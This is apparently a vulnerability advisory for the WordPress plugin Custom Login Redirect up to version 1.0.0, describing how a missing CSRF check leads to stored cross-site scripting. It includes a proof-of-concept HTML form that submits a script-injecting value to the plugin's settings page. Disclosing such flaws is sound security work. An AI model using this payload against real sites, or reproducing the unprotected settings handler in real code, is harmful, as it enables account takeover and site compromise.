WordPress Plugin Vulnerabilities

Custom Login Redirect <= 1.0.0 - CSRF to Stored XSS

Description

The plugin does not have CSRF check in place when saving its settings, and do not sanitise or escape user input before outputting them back in the page, leading to a Stored Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=custom_login_redirect" method="POST">
      <input type="hidden" name="custom_login_redirect_display" value="no" />
      <input type="hidden" name="custom_login_redirect" value='"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="Submit" value="Update Options »" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Vinay Bhuria
Submitter
vinay bhuria
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-07-19 (about 2 years ago)
Added
2021-07-19 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)

Other